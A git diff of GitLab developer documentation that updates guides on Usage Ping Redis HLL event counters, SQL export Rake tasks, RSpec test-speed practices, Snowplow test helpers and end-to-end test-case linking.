@@ -222,38 +222,239 @@ Examples of implementation:
#### Redis HLL Counters
-With `Gitlab::Redis::HLL` we have available data structures used to count unique values.
+With `Gitlab::UsageDataCounters::HLLRedisCounter` we have available data structures used to count unique values.
Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PFCOUNT](https://redis.io/commands/pfcount).
-Recommendations:
+##### Adding new events
-- Key should expire in 29 days.
-- If possible, data granularity should be a week. For example a key could be composed from the metric's name and week of the year, `2020-33-{metric_name}`.
-- Use a [feature flag](../../operations/feature_flags.md) in order to have a control over the impact when adding new metrics.
-- If possible, data granularity should be week, for example a key could be composed from metric name and week of the year, 2020-33-{metric_name}
-- Use a [feature flag](../../operations/feature_flags.md) in order to have a control over the impact when adding new metrics
+1. Define events in [`known_events.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events.yml).
-Examples of implementation:
+ Example event:
-- [`Gitlab::UsageDataCounters::TrackUniqueActions`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/track_unique_actions.rb)
-- [`Gitlab::Analytics::UniqueVisits`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/analytics/unique_visits.rb)
+ ```yaml
+ - name: i_compliance_credential_inventory
+ category: compliance
+ redis_slot: compliance
+ expiry: 42 # 6 weeks
+ aggregation: weekly
+ ```
-Example of usage:
+ Keys:
+
+ - `name`: unique event name.
+
+ Name format `<prefix>_<redis_slot>_name`.
+
+ Use one of the following prefixes for the event's name:
+
+ - `g_` for group, as an event which is tracked for group.
+ - `p_` for project, as an event which is tracked for project.
+ - `i_` for instance, as an event which is tracked for instance.
+ - `a_` for events encompassing all `g_`, `p_`, `i_`.
+ - `o_` for other.
+
+ Consider including in the event's name the Redis slot in order to be able to count totals for a specific category.
+
+ Example names: `i_compliance_credential_inventory`, `g_analytics_contribution`.
+
+ - `category`: event category. Used for getting total counts for events in a category, for easier
+ access to a group of events.
+ - `redis_slot`: optional Redis slot; default value: event name. Used if needed to calculate totals
+ for a group of metrics. Ensure keys are in the same slot. For example:
+ `i_compliance_credential_inventory` with `redis_slot: 'compliance'` will build Redis key
+ `i_{compliance}_credential_inventory-2020-34`. If `redis_slot` is not defined the Redis key will
+ be `{i_compliance_credential_inventory}-2020-34`.
+ - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly
+ aggregation.
+ - `aggregation`: aggregation `:daily` or `:weekly`. The argument defines how we build the Redis
+ keys for data storage. For `daily` we keep a key for metric per day of the year, for `weekly` we
+ keep a key for metric per week of the year.
+
+1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, feature:, feature_default_enabled: false)`.
+
+ Arguments:
+
+ - `controller_actions`: controller actions we want to track.
+ - `name`: event name.
+ - `feature`: feature name, all metrics we track should be under feature flag.
+ - `feature_default_enabled`: feature flag is disabled by default, set to `true` for it to be enabled by default.
+
+ Example usage:
+
+ ```ruby
+ # controller
+ class ProjectsController < Projects::ApplicationController
+ include RedisTracking
+
+ skip_before_action :authenticate_user!, only: :show
+ track_redis_hll_event :index, :show, name: 'i_analytics_dev_ops_score', feature: :g_compliance_dashboard_feature, feature_default_enabled: true
+
+ def index
+ render html: 'index'
+ end
+
+ def new
+ render html: 'new'
+ end
+
+ def show
+ render html: 'show'
+ end
+ end
+ ```
+
+1. Track event in API using `increment_unique_values(event_name, values)` helper method.
+
+ In order to be able to track the event, Usage Ping must be enabled and the event feature `usage_data_<event_name>` must be enabled.
+
+ Arguments:
+
+ - `event_name`: event name.
+ - `values`: values counted, one value or array of values.
+
+ Example usage:
+
+ ```ruby
+ get ':id/registry/repositories' do
+ repositories = ContainerRepositoriesFinder.new(
+ user: current_user, subject: user_group
+ ).execute
+
+ increment_unique_values('i_list_repositories', current_user.id)
+
+ present paginate(repositories), with: Entities::ContainerRegistry::Repository, tags: params[:tags], tags_count: params[:tags_count]
+ end
+ ```
+
+1. Track event using `track_usage_event(event_name, values) in services and graphql
+
+ Increment unique values count using Redis HLL, for given event name.
+
+ Example:
+
+ [Track usage event for incident created in service](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/issues/update_service.rb)
+
+ [Track usage event for incident created in graphql](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/mutations/alert_management/update_alert_status.rb)
+
+ ```ruby
+ track_usage_event(:incident_management_incident_created, current_user.id)
+ ```
+
+1. Track event using `UsageData` API
+
+ Increment unique users count using Redis HLL, for given event name.
+
+ Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is disabled by default.
+
+ API requests are protected by checking for a valid CSRF token.
+
+ In order to be able to increment the values the related feature `usage_data<event_name>` should be enabled.
+
+ ```plaintext
+ POST /usage_data/increment_unique_users
+ ```
+
+ | Attribute | Type | Required | Description |
+ | :-------- | :--- | :------- | :---------- |
+ | `event` | string | yes | The event name it should be tracked |
+
+ Response
+
+ Return 200 if tracking failed for any reason.
+
+ - `200` if event was tracked or any errors
+ - `400 Bad request` if event parameter is missing
+ - `401 Unauthorized` if user is not authenticated
+ - `403 Forbidden` for invalid CSRF token provided
+
+1. Track event using base module `Gitlab::UsageDataCounters::HLLRedisCounter.track_event(entity_id, event_name)`.
+
+ Arguments:
+
+ - `entity_id`: value we count. For example: user_id, visitor_id.
+ - `event_name`: event name.
+
+1. Get event data using `Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names:, start_date:, end_date)`.
+
+ Arguments:
+
+ - `event_names`: the list of event names.
+ - `start_date`: start date of the period for which we want to get event data.
+ - `end_date`: end date of the period for which we want to get event data.
+
+Recommendations:
+
+- Key should expire in 29 days for daily and 42 days for weekly.
+- If possible, data granularity should be a week. For example a key could be composed from the
+ metric's name and week of the year, `2020-33-{metric_name}`.
+- Use a [feature flag](../../operations/feature_flags.md) to have a control over the impact when
+ adding new metrics.
+
+##### Known events in usage data payload
+
+All events added in [`known_events.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events.yml) are automatically added to usage data generation under the `redis_hll_counters` key. This column is stored in [version-app as a JSON](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L209).
+For each event we add metrics for the weekly and monthly time frames, and totals for each where applicable:
+
+- `#{event_name}_weekly` data for 7 days for daily [aggregation](#adding-new-events) events and data for last complete week for weekly [aggregation](#adding-new-events) events.
+- `#{event_name}_monthly` data for 28 days for daily [aggregation](#adding-new-events) events and data for last 4 complete weeks for weekly [aggregation](#adding-new-events) events.
+- `#{category}_total_unique_counts_weekly` total unique counts for events in same category for last 7 days or last complete week, if events are in the same Redis slot and if we have more than one metric.
+- `#{event_name}_weekly` - Data for 7 days for daily [aggregation](#adding-new-events) events and data for the last complete week for weekly [aggregation](#adding-new-events) events.
+- `#{event_name}_monthly` - Data for 28 days for daily [aggregation](#adding-new-events) events and data for the last 4 complete weeks for weekly [aggregation](#adding-new-events) events.
+- `#{category}_total_unique_counts_weekly` - Total unique counts for events in the same category for the last 7 days or the last complete week, if events are in the same Redis slot and we have more than one metric.
+- `#{event_name}_weekly`: Data for 7 days for daily [aggregation](#adding-new-events) events and data for last complete week for weekly [aggregation](#adding-new-events) events.
+- `#{event_name}_monthly`: Data for 28 days for daily [aggregation](#adding-new-events) events and data for last 4 complete weeks for weekly [aggregation](#adding-new-events) events.
+- `#{category}_total_unique_counts_weekly` total unique counts for events in same category for last 7 days or last complete week, if events are in the same Redis slot and if we have more than one metric.
+- `#{event_name}_weekly`: Data for 7 days for daily [aggregation](#adding-new-events) events and data for the last complete week for weekly [aggregation](#adding-new-events) events.
+- `#{event_name}_monthly`: Data for 28 days for daily [aggregation](#adding-new-events) events and data for the last 4 complete weeks for weekly [aggregation](#adding-new-events) events.
+- `#{category}_total_unique_counts_weekly`: Total unique counts for events in the same category for the last 7 days or the last complete week, if events are in the same Redis slot and we have more than one metric.
+- `#{category}_total_unique_counts_monthly`: Total unique counts for events in same category for the last 28 days or the last 4 complete weeks, if events are in the same Redis slot and we have more than one metric.
+
+Example of `redis_hll_counters` data:
+
+```ruby
+{:redis_hll_counters=>
+ {"compliance"=>
+ {"g_compliance_dashboard_weekly"=>0,
+ "g_compliance_dashboard_monthly"=>0,
+ "g_compliance_audit_events_weekly"=>0,
+ "g_compliance_audit_events_monthly"=>0,
+ "compliance_total_unique_counts_weekly"=>0,
+ "compliance_total_unique_counts_monthly"=>0},
+ "analytics"=>
+ {"g_analytics_contribution_weekly"=>0,
+ "g_analytics_contribution_monthly"=>0,
+ "g_analytics_insights_weekly"=>0,
+ "g_analytics_insights_monthly"=>0,
+ "analytics_total_unique_counts_weekly"=>0,
+ "analytics_total_unique_counts_monthly"=>0},
+ "ide_edit"=>
+ {"g_edit_by_web_ide_weekly"=>0,
+ "g_edit_by_web_ide_monthly"=>0,
+ "g_edit_by_sfe_weekly"=>0,
+ "g_edit_by_sfe_monthly"=>0,
+ "ide_edit_total_unique_counts_weekly"=>0,
+ "ide_edit_total_unique_counts_monthly"=>0},
+ "search"=>
+ {"i_search_total_weekly"=>0, "i_search_total_monthly"=>0, "i_search_advanced_weekly"=>0, "i_search_advanced_monthly"=>0, "i_search_paid_weekly"=>0, "i_search_paid_monthly"=>0, "search_total_unique_counts_weekly"=>0, "search_total_unique_counts_monthly"=>0},
+ "source_code"=>{"wiki_action_weekly"=>0, "wiki_action_monthly"=>0}
+ }
+```
+
+Example usage:
```ruby
# Redis Counters
redis_usage_data(Gitlab::UsageDataCounters::WikiPageCounter)
redis_usage_data { ::Gitlab::UsageCounters::PodLogs.usage_totals[:total] }
-# Redis HLL counter
-counter = Gitlab::UsageDataCounters::TrackUniqueActions
-redis_usage_data do
- counter.count_unique_events(
- event_action: Gitlab::UsageDataCounters::TrackUniqueActions::PUSH_ACTION,
- date_from: time_period[:created_at].first,
- date_to: time_period[:created_at].last
- )
+# Define events in known_events.yml https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events.yml
+
+# Tracking events
+Gitlab::UsageDataCounters::HLLRedisCounter.track_event(visitor_id, 'expand_vulnerabilities')
+
+# Get unique events for metric
+redis_usage_data { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'expand_vulnerabilities', start_date: 28.days.ago, end_date: Date.current) }
```
### Alternative Counters
@@ -363,8 +564,6 @@ When adding, changing, or updating metrics, please update the [Event Dictionary'
Check if new metrics need to be added to the Versions Application. See `usage_data` [schema](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L147) and usage data [parameters accepted](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/app/services/usage_ping.rb). Any metrics added under the `counts` key are saved in the `counts` column.
-For further details, see the [Process to add additional instrumentation to the Usage Ping](https://about.gitlab.com/handbook/product/product-processes/#process-to-add-additional-instrumentation-to-the-usage-ping).
-
### 6. Add the feature label
Add the `feature` label to the Merge Request for new Usage Ping metrics. These are user-facing changes and are part of expanding the Usage Ping feature.
@@ -627,6 +826,7 @@ The following is example content of the Usage Ping payload.
"topology": {
"duration_s": 0.013836685999194742,
"application_requests_per_hour": 4224,
+ "query_apdex_weekly_average": 0.996,
"failures": [],
"nodes": [
{
@@ -664,3 +864,24 @@ The following is example content of the Usage Ping payload.
}
}
```
+
+## Exporting Usage Ping SQL queries and definitions
+
+Two Rake tasks exist to export Usage Ping definitions.
+
+- The Rake tasks export the raw SQL queries for `count`, `distinct_count`, `sum`.
+- The Rake tasks export the Redis counter class or the line of the Redis block for `redis_usage_data`.
+- The Rake tasks calculate the `alt_usage_data` metrics.
+
+In the home directory of your local GitLab installation run the following Rake tasks for the YAML and JSON versions respectively:
+
+```shell
+# for YAML export
+bin/rake gitlab:usage_data:dump_sql_in_yaml
+
+# for JSON export
+bin/rake gitlab:usage_data:dump_sql_in_json
+
+# You may pipe the output into a file
+bin/rake gitlab:usage_data:dump_sql_in_yaml > ~/Desktop/usage-metrics-2020-09-02.yaml
+```
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index b60a26c29b5..6ef9be381b4 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -1,3 +1,11 @@
+---
+type: reference, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+description: "GitLab development guidelines - testing best practices."
+---
+
# Testing best practices
## Test Design
@@ -15,21 +23,6 @@ manifest themselves within our code. When designing our tests, take time to revi
our test design. We can find some helpful heuristics documented in the Handbook in the
[Test Engineering](https://about.gitlab.com/handbook/engineering/quality/test-engineering/#test-heuristics) section.
-## Test speed
-
-GitLab has a massive test suite that, without [parallelization](ci.md#test-suite-parallelization-on-the-ci), can take hours
-to run. It's important that we make an effort to write tests that are accurate
-and effective _as well as_ fast.
-
-Here are some things to keep in mind regarding test performance:
-
-- `instance_double` and `spy` are faster than `FactoryBot.build(...)`
-- `FactoryBot.build(...)` and `.build_stubbed` are faster than `.create`.
-- Don't `create` an object when `build`, `build_stubbed`, `attributes_for`,
- `spy`, or `instance_double` will do. Database persistence is slow!
-- Don't mark a feature as requiring JavaScript (through `:js` in RSpec) unless it's _actually_ required for the test
- to be valid. Headless browser testing is slow!
-
## RSpec
To run RSpec tests:
@@ -57,13 +50,218 @@ bundle exec guard
When using spring and guard together, use `SPRING=1 bundle exec guard` instead to make use of spring.
-Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases on un-necessary database manipulation, which can cause slow tests.
+### Test speed
+
+GitLab has a massive test suite that, without [parallelization](ci.md#test-suite-parallelization-on-the-ci), can take hours
+to run. It's important that we make an effort to write tests that are accurate
+and effective _as well as_ fast.
+
+Test performance is important to maintaining quality and velocity, and has a
+direct impact on CI build times and thus fixed costs. We want thorough, correct,
+and fast tests. Here you can find some information about tools and techniques
+available to you to achieve that.
+
+#### Don't request capabilities you don't need
+
+We make it easy to add capabilities to our examples by annotating the example or
+a parent context. Examples of these are:
+
+- `:js` in feature specs, which runs a full JavaScript capable headless browser.
+- `:clean_gitlab_redis_cache` which provides a clean Redis cache to the examples.
+- `:request_store` which provides a request store to the examples.
+
+Obviously we should reduce test dependencies, and avoiding
+capabilities also reduces the amount of set-up needed.
+
+`:js` is particularly important to avoid. This must only be used if the feature
+test requires JavaScript reactivity in the browser, since using a headless
+browser is much slower than parsing the HTML response from the app.
+
+#### Optimize factory usage
+
+A common cause of slow tests is excessive creation of objects, and thus
+computation and DB time. Factories are essential to development, but they can
+make inserting data into the DB so easy that we may be able to optimize.
+
+The two basic techniques to bear in mind here are:
+
+- **Reduce**: avoid creating objects, and avoid persisting them.
+- **Reuse**: shared objects, especially nested ones we do not examine, can generally be shared.
+
+To avoid creation, it is worth bearing in mind that:
+
+- `instance_double` and `spy` are faster than `FactoryBot.build(...)`.
+- `FactoryBot.build(...)` and `.build_stubbed` are faster than `.create`.
+- Don't `create` an object when `build`, `build_stubbed`, `attributes_for`,
+ `spy`, or `instance_double` will do. Database persistence is slow!
+
+Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases where database persistence is not needed in a given test.
```shell
# run test for path
FDOC=1 bin/rspec spec/[path]/[to]/[spec].rb
```
+A common change is to use `build` or `build_stubbed` instead of `create`:
+
+```ruby
+# Old
+let(:project) { create(:project) }
+
+# New
+let(:project) { build(:project) }
+```
+
+[Factory Profiler](https://test-prof.evilmartians.io/#/profilers/factory_prof) can help to identify repetitive database persistence via factories.
+
+```shell
+# run test for path
+FPROF=1 bin/rspec spec/[path]/[to]/[spec].rb
+
+# to visualize with a flamegraph
+FPROF=flamegraph bin/rspec spec/[path]/[to]/[spec].rb
+```
+
+A common change is to use [`let_it_be`](#common-test-setup):
+
+```ruby
+# Old
+let(:project) { create(:project) }
+
+# New
+let_it_be(:project) { create(:project) }
+```
+
+A common cause of a large number of created factories is [factory cascades](https://github.com/test-prof/test-prof/blob/master/docs/profilers/factory_prof.md#factory-flamegraph), which result when factories create and recreate associations.
+They can be identified by a noticeable difference between `total time` and `top-level time` numbers:
+
+```plaintext
+ total top-level total time time per call top-level time name
+
+ 208 0 9.5812s 0.0461s 0.0000s namespace
+ 208 76 37.4214s 0.1799s 13.8749s project
+```
+
+The table above shows us that we never create any `namespace` objects explicitly
+(`top-level == 0`) - they are all created implicitly for us. But we still end up
+with 208 of them (one for each project) and this takes 9.5 seconds.
+
+In order to reuse a single object for all calls to a named factory in implicit parent associations,
+[`FactoryDefault`](https://github.com/test-prof/test-prof/blob/master/docs/recipes/factory_default.md)
+can be used:
+
+```ruby
+ let_it_be(:namespace) { create_default(:namespace) }
+```
+
+Then every project we create will use this `namespace`, without us having to pass
+it as `namespace: namespace`.
+
+Maybe we don't need to create 208 different projects - we
+can create one and reuse it. In addition, we can see that only about 1/3 of the
+projects we create are ones we ask for (76/208), so there is benefit in setting
+a default value for projects as well:
+
+```ruby
+ let_it_be(:project) { create_default(:project) }
+```
+
+In this case, the `total time` and `top-level time` numbers match more closely:
+
+```plaintext
+ total top-level total time time per call top-level time name
+
+ 31 30 4.6378s 0.1496s 4.5366s project
+ 8 8 0.0477s 0.0477s 0.0477s namespace
+```
+
+#### Identify slow tests
+
+Running a spec with profiling is a good way to start optimizing a spec. This can
+be done with:
+
+```shell
+bundle exec rspec --profile -- path/to/spec_file.rb
+```
+
+Which includes information like the following:
+
+```plaintext
+Top 10 slowest examples (10.69 seconds, 7.7% of total time):
+ Issue behaves like an editable mentionable creates new cross-reference notes when the mentionable text is edited
+ 1.62 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:164
+ Issue relative positioning behaves like a class that supports relative positioning .move_nulls_to_end manages to move nulls to the end, stacking if we cannot create enough space
+ 1.39 seconds ./spec/support/shared_examples/models/relative_positioning_shared_examples.rb:88
+ Issue relative positioning behaves like a class that supports relative positioning .move_nulls_to_start manages to move nulls to the end, stacking if we cannot create enough space
+ 1.27 seconds ./spec/support/shared_examples/models/relative_positioning_shared_examples.rb:180
+ Issue behaves like an editable mentionable behaves like a mentionable extracts references from its reference property
+ 0.99253 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:69
+ Issue behaves like an editable mentionable behaves like a mentionable creates cross-reference notes
+ 0.94987 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:101
+ Issue behaves like an editable mentionable behaves like a mentionable when there are cached markdown fields sends in cached markdown fields when appropriate
+ 0.94148 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:86
+ Issue behaves like an editable mentionable when there are cached markdown fields when the markdown cache is stale persists the refreshed cache so that it does not have to be refreshed every time
+ 0.92833 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:153
+ Issue behaves like an editable mentionable when there are cached markdown fields refreshes markdown cache if necessary
+ 0.88153 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:130
+ Issue behaves like an editable mentionable behaves like a mentionable generates a descriptive back-reference
+ 0.86914 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:65
+ Issue#related_issues returns only authorized related issues for given user
+ 0.84242 seconds ./spec/models/issue_spec.rb:335
+
+Finished in 2 minutes 19 seconds (files took 1 minute 4.42 seconds to load)
+277 examples, 0 failures, 1 pending
+```
+
+From this result, we can see the most expensive examples in our spec, giving us
+a place to start. The fact that the most expensive examples here are in
+shared examples means that any reductions are likely to have a larger impact as
+they are called in multiple places.
+
+#### Avoid repeating expensive actions
+
+While isolated examples are very clear, and help serve the purpose of specs as
+specification, the following example shows how we can combine expensive
+actions:
+
+```ruby
+subject { described_class.new(arg_0, arg_1) }
+
+it 'creates an event' do
+ expect { subject.execute }.to change(Event, :count).by(1)
+end
+
+it 'sets the frobulance' do
+ expect { subject.execute }.to change { arg_0.reset.frobulance }.to('wibble')
+end
+
+it 'schedules a background job' do
+ expect(BackgroundJob).to receive(:perform_async)
+
+ subject.execute
+end
+```
+
+If the call to `subject.execute` is expensive, then we are repeating the same
+action just to make different assertions. We can reduce this repetition by
+combining the examples:
+
+```ruby
+it 'performs the expected side-effects' do
+ expect(BackgroundJob).to receive(:perform_async)
+
+ expect { subject.execute }
+ .to change(Event, :count).by(1)
+ .and change { arg_0.frobulance }.to('wibble')
+end
+```
+
+Be careful doing this, as this sacrifices clarity and test independence for
+performance gains.
+
+When combining tests, consider using `:aggregate_failures`, so that the full
+results are available, and not just the first failure.
+
### General guidelines
- Use a single, top-level `RSpec.describe ClassName` block.
@@ -229,9 +427,9 @@ spec itself, but the former is preferred.
It takes around one second to load tests that are using `fast_spec_helper`
instead of 30+ seconds in case of a regular `spec_helper`.
-### `let` variables
+### `subject` and `let` variables
-GitLab's RSpec suite has made extensive use of `let`(along with it strict, non-lazy
+GitLab's RSpec suite has made extensive use of `let`(along with its strict, non-lazy
version `let!`) variables to reduce duplication. However, this sometimes [comes at the cost of clarity](https://thoughtbot.com/blog/lets-not),
so we need to set some guidelines for their use going forward:
@@ -250,6 +448,9 @@ so we need to set some guidelines for their use going forward:
- `let!` variables should be used only in case if strict evaluation with defined
order is required, otherwise `let` will suffice. Remember that `let` is lazy and won't
be evaluated until it is referenced.
+- Avoid referencing `subject` in examples. Use a named subject `subject(:name)`, or a `let` variable instead, so
+ the variable has a contextual name.
+- If the `subject` is never referenced inside examples, then it's acceptable to define the `subject` without a name.
### Common test setup
@@ -468,6 +669,48 @@ for modifications. If you have no other choice, an `around` block similar to the
example for global variables, above, can be used, but this should be avoided if
at all possible.
+#### Test Snowplow events
+
+CAUTION: **Warning:**
+Snowplow performs **runtime type checks** by using the [contracts gem](https://rubygems.org/gems/contracts).
+Since Snowplow is **by default disabled in tests and development**, it can be hard to
+**catch exceptions** when mocking `Gitlab::Tracking`.
+
+To catch runtime errors due to type checks, you can enable Snowplow in tests by marking the spec with
+`:snowplow` and use the `expect_snowplow_event` helper which will check for
+calls to `Gitlab::Tracking#event`.
+
+```ruby
+describe '#show', :snowplow do
+ it 'tracks snowplow events' do
+ get :show
+
+ expect_snowplow_event(
+ category: 'Experiment',
+ action: 'start',
+ )
+ expect_snowplow_event(
+ category: 'Experiment',
+ action: 'sent',
+ property: 'property',
+ label: 'label'
+ )
+ end
+end
+```
+
+When you want to ensure that no event got called, you can use `expect_no_snowplow_event`.
+
+```ruby
+ describe '#show', :snowplow do
+ it 'does not track any snowplow events' do
+ get :show
+
+ expect_no_snowplow_event
+ end
+ end
+```
+
### Table-based / Parameterized tests
This style of testing is used to exercise one piece of code with a comprehensive
diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md
index 15a9b4406ab..c552c44c864 100644
--- a/doc/development/testing_guide/end_to_end/beginners_guide.md
+++ b/doc/development/testing_guide/end_to_end/beginners_guide.md
@@ -84,7 +84,7 @@ See the [`RSpec.describe` outer block](#the-outer-rspecdescribe-block)
CAUTION: **Deprecation notice:**
The outer `context` [was deprecated](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/550) in `13.2`
-in adherance to RSpec 4.0 specifications. Use `RSpec.describe` instead.
+in adherence to RSpec 4.0 specifications. Use `RSpec.describe` instead.
### The outer `RSpec.describe` block
@@ -287,7 +287,7 @@ Note the following important points:
- Our test fabricates only what it needs, when it needs it.
- The issue is fabricated through the API to save time.
- GitLab prefers `let()` over instance variables. See
- [best practices](../best_practices.md#let-variables).
+ [best practices](../best_practices.md#subject-and-let-variables).
- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but will be
implemented in the next step.
diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md
index 3b193721143..36cb49256a6 100644
--- a/doc/development/testing_guide/end_to_end/best_practices.md
+++ b/doc/development/testing_guide/end_to_end/best_practices.md
@@ -1,7 +1,128 @@
# End-to-end testing Best Practices
NOTE: **Note:**
-This is an tailored extension of the Best Practices [found in the testing guide](../best_practices.md).
+This is a tailored extension of the Best Practices [found in the testing guide](../best_practices.md).
+
+## Link a test to its test-case issue
+
+Every test should have a corresponding issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/).
+It's recommended that you reuse the issue created to plan the test. If one does not already exist you
+can create the issue yourself. Alternatively, you can run the test in a pipeline that has reporting
+enabled and the test-case issue reporter will automatically create a new issue.
+
+Whether you create a new test-case issue or one is created automatically, you will need to manually add
+a `testcase` RSpec metadata tag. In most cases, a single test will be associated with a single test-case
+issue ([see below for exceptions](#exceptions)).
+
+For example:
+
+```ruby
+RSpec.describe 'Stage' do
+ describe 'General description of the feature under test' do
+ it 'test name', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/:issue_id' do
+ ...
+ end
+
+ it 'another test', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/:another_issue_id' do
+ ...
+ end
+ end
+end
+```
+
+### Exceptions
+
+Most tests are defined by a single line of a `spec` file, which is why those tests can be linked to a
+single test-case issue via the `testcase` tag.
+
+However, some tests don't have a one-to-one relationship between a line of a `spec` file and a test-case
+issue. This is because some tests are defined in a way that means a single line is associated with
+multiple tests, including:
+
+- Parallelized tests.
+- Templated tests.
+- Tests in shared examples that include more than one example.
+
+In those and similar cases we can't assign a single `testcase` tag and so we rely on the test-case
+reporter to programmatically determine the correct test-case issue based on the name and description of
+the test. In such cases, the test-case reporter will automatically create a test-case issue the first time
+the test runs, if no issue exists already.
+
+In such a case, if you create the issue yourself or want to reuse an existing issue,
+you must use this [end-to-end test issue template](https://gitlab.com/gitlab-org/quality/testcases/-/blob/master/.gitlab/issue_templates/End-to-end%20Test.md)
+to format the issue description.
+
+To illustrate, there are two tests in the shared examples in [`qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/47b17db82c38ab704a23b5ba5d296ea0c6a732c8/qa/qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb):
+
+```ruby
+shared_examples 'only user with access pushes and merges' do
+ it 'unselected maintainer user fails to push' do
+ ...
+ end
+
+ it 'selected developer user pushes and merges' do
+ ...
+ end
+end
+```
+
+Consider the following test that includes the shared examples:
+
+```ruby
+RSpec.describe 'Create' do
+ describe 'Restricted protected branch push and merge' do
+ context 'when only one user is allowed to merge and push to a protected branch' do
+ ...
+ it_behaves_like 'only user with access pushes and merges'
+ end
+ end
+end
+```
+
+There would be two associated test-case issues, one for each shared example, with the following content:
+
+[Test 1](https://gitlab.com/gitlab-org/quality/testcases/-/issues/600):
+
+````markdown
+```markdown
+Title: browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb | Create Restricted
+protected branch push and merge when only one user is allowed to merge and push to a protected
+branch behaves like only user with access pushes and merges selecte...
+
+Description:
+### Full description
+
+Create Restricted protected branch push and merge when only one user is allowed to merge and push
+to a protected branch behaves like only user with access pushes and merges selected developer user
+pushes and merges
+
+### File path
+
+./qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb
+
+```
+````
+
+[Test 2](https://gitlab.com/gitlab-org/quality/testcases/-/issues/602):
+
+````markdown
+```markdown
+Title: browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb | Create Restricted
+protected branch push and merge when only one user is allowed to merge and push to a protected
+branch behaves like only user with access pushes and merges unselec...
+
+Description:
+### Full description
+
+Create Restricted protected branch push and merge when only one user is allowed to merge and push
+to a protected branch behaves like only user with access pushes and merges unselected maintainer
+user fails to push
+
+### File path
+
+./qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb
+```
+````
## Prefer API over UI
@@ -166,3 +287,26 @@ end
NOTE: **Note:**
A few exceptions for using a `ProjectPush` would be when your test calls for testing SSH integration or
using the Git CLI.
+
+## Preferred method to blur elements
+
+To blur an element, the preferred method is to click another element that does not alter the test state.
+If there's a mask that blocks the page elements, such as may occur with some dropdowns,
+use WebDriver's native mouse events to simulate a click event on the coordinates of an element. Use the following method: `click_element_coordinates`.
+
+Avoid clicking the `body` for blurring elements such as inputs and dropdowns because it clicks the center of the viewport.
+This action can also unintentionally click other elements, altering the test state and causing it to fail.
+
+```ruby
+# Clicking another element to blur an input
+def add_issue_to_epic(issue_url)
+ find_element(:issue_actions_split_button).find('button', text: 'Add an issue').click
+ fill_element :add_issue_input, issue_url
+ # Clicking the title blurs the input
+ click_element :title
+ click_element :add_issue_button
+end
+
+# Using native mouse click events in the case of a mask/overlay
+click_element_coordinates(:title)
+```
diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
index 4059c1960e2..a9f54b53e5a 100644
--- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
+++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
@@ -8,13 +8,14 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| Tag | Description |
|-----|-------------|
| `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. |
+| `:gitaly_cluster` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. |
